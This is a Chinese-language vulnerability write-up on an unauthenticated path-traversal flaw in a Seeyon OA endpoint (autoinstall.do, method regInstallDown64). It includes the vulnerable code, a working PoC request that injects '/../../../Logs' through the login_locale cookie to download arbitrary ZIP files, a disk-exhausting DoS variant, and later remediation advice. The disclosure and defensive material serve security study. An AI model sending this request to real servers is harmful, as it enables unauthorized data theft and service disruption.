某大型oa前台0day挖掘
字数 2144
更新时间 2026-02-27 12:20:02

某大型OA系统前台任意ZIP文件下载漏洞教学文档

1. 漏洞概述

本漏洞存在于某大型OA系统中,是一个前台无需身份验证即可利用的安全漏洞。该漏洞允许攻击者利用系统特定功能构造恶意请求,实现任意ZIP文件的下载,并在此基础上还可能进行拒绝服务(DoS)攻击。

1.1 影响范围与前提条件

  • 影响范围:使用该OA系统的受影响版本
  • 利用前提:无需登录权限(前台漏洞)
  • 漏洞类型:任意文件下载(Arbitrary File Download)
  • 风险等级:高危

2. 漏洞技术细节分析

2.1 漏洞源头定位

漏洞的核心在于com.seeyon.apps.autoinstall.controller.AutoInstallController控制器中的regInstallDown64方法。

关键代码段分析

@SetContentType
public ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String localeName = "";
    Cookie[] cookies = request.getCookies();
    for(Cookie cookie : cookies) {
        if ("login_locale".equals(cookie.getName())) {
            localeName = cookie.getValue();
        }
    }
    
    if (Strings.isBlank(localeName)) {
        String lang = request.getHeader("Accept-Language");
        Locale defaultLocale = lang == null ? (Locale)LocaleContext.getAllLocales().get(0) : LocaleContext.parseLocale(lang);
        localeName = I18nUtil.getLocalAsString(defaultLocale);
    }
    
    if (localeName.contains(",")) {
        localeName = localeName.substring(0, localeName.indexOf(","));
    }
    
    String separator = System.getProperty("file.separator");
    String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";
    // ... 后续文件操作逻辑
}

2.2 漏洞形成原理

  1. 用户可控输入点login_locale Cookie值完全由用户控制
  2. 缺乏安全过滤:代码未对localeName中的特殊字符(特别是../目录穿越字符)进行任何过滤或限制
  3. 路径拼接漏洞:将用户输入的localeName直接拼接到文件路径中
  4. 任意文件构造:通过localeName参数可以控制最终生成的ZIP文件名和路径

3. 漏洞利用步骤详解

3.1 漏洞发现过程

3.1.1 定位漏洞入口

  1. 寻找文件下载相关功能点,关注response.setHeader("Content-Disposition", ...)等代码模式
  2. 通过反编译工具(如jadx-gui)分析系统JAR包
  3. 定位到关键控制器类AutoInstallController

3.1.2 路由分析

  • 控制器对应的路由:autoinstall.do
  • 方法名解析方式:通过method参数指定方法名(method=regInstallDown64
  • 重要特性:该控制器带有@NeedlessCheckLogin注解,表示无需登录即可访问

3.2 PoC构造与验证

3.2.1 正常请求分析

请求示例

POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
Cookie: login_locale=zh_CN;
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

method=regInstallDown64

正常文件路径
C:\Seeyon\A8\base emporary\regInstall64_192.168.127.129_zh_CN.zip

3.2.2 漏洞利用PoC

跨目录读取任意ZIP文件

POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=/../../../Logs;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

method=regInstallDown64

3.2.3 关键技巧说明

  1. 目录穿越计算:需要跨越三层目录才能回到根目录读取Logs.zip
    • 原因:regInstall64_服务器IP_部分会在路径中创建一个不存在但被计算在内的虚拟目录
  2. Cookie构造login_locale=/../../../Logs;(注意开头的/字符)
  3. 文件格式限制:只能下载.zip格式文件

3.3 漏洞验证结果

  • 成功读取服务器上任意目录下的ZIP文件
  • 无需任何身份验证
  • 完全前台可利用

4. 漏洞延伸利用 - DoS攻击

4.1 DoS攻击原理

当目标文件不存在时,代码会创建新文件:

if (!(new CtpLocalFile(fileName)).exists()) {
    // 创建新文件并写入内容
}

4.2 DoS攻击方式

  1. 大量文件创建:通过构造不存在的文件名,在服务器任意目录下创建大量ZIP文件
  2. 磁盘空间耗尽:持续发送请求可快速消耗服务器磁盘空间
  3. 文件系统混乱:在系统关键目录下创建无关文件

4.3 DoS攻击特点

  • 破坏性更强于单纯的文件读取
  • 可造成系统不稳定甚至瘫痪
  • 攻击成本极低

5. 漏洞防护方案

5.1 临时缓解措施

  1. WAF规则:拦截包含../..\等目录穿越字符的请求
  2. 访问控制:限制对autoinstall.do接口的访问
  3. 文件监控:监控临时目录下的文件创建行为

5.2 根本修复方案

5.2.1 输入过滤与验证

// 修复后的代码示例
public ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String localeName = "";
    Cookie[] cookies = request.getCookies();
    for(Cookie cookie : cookies) {
        if ("login_locale".equals(cookie.getName())) {
            localeName = cookie.getValue();
            break;
        }
    }
    
    // 输入验证:过滤危险字符
    if (localeName != null) {
        localeName = localeName.replaceAll("\\.\\./", "");  // 移除目录穿越
        localeName = localeName.replaceAll("\\.\\.\\\\", ""); // 移除Windows目录穿越
        localeName = localeName.replaceAll("/", "");         // 移除路径分隔符
        localeName = localeName.replaceAll("\\\\", "");      // 移除Windows路径分隔符
    }
    
    // 进一步验证:只允许字母、数字、下划线和特定字符
    if (!localeName.matches("[a-zA-Z0-9_\\-]+")) {
        throw new SecurityException("Invalid locale name");
    }
    
    // ... 后续代码
}

5.2.2 路径安全处理

  1. 路径规范化:使用Paths.get().normalize()规范化路径
  2. 白名单限制:限制文件访问范围在特定安全目录内
  3. 文件名校验:确保文件名符合预期格式

5.2.3 安全增强建议

  1. 最小权限原则:以最低必要权限运行应用
  2. 文件系统沙箱:限制应用对文件系统的访问权限
  3. 日志审计:记录所有文件下载操作
  4. 速率限制:对文件下载接口实施请求频率限制

6. 漏洞发现与审计方法论

6.1 漏洞挖掘思路

  1. 功能点分析:重点关注文件操作相关的功能模块
  2. 代码审计:查找FileInputStreamOutputStream等相关类
  3. 参数追踪:追踪用户输入到文件操作的全过程
  4. 权限检查:验证是否缺少必要的访问控制

6.2 安全编码实践

  1. 输入验证:所有用户输入必须经过严格的验证和过滤
  2. 路径安全:避免直接拼接用户输入到文件路径
  3. 访问控制:敏感操作必须进行身份验证和权限检查
  4. 错误处理:避免在错误信息中泄露敏感信息

7. 总结

本漏洞是一个典型的前台任意文件下载漏洞,具有以下特点:

  1. 高危性:无需登录,可直接利用
  2. 多功能性:既可读取敏感文件,又可进行DoS攻击
  3. 代表性:体现了输入验证不足、路径拼接不当等常见安全问题

安全开发应在设计阶段就考虑安全因素,遵循安全编码规范,避免此类漏洞的产生。对于已经上线的系统,应建立定期的安全审计和漏洞扫描机制,及时发现并修复安全漏洞。

 全屏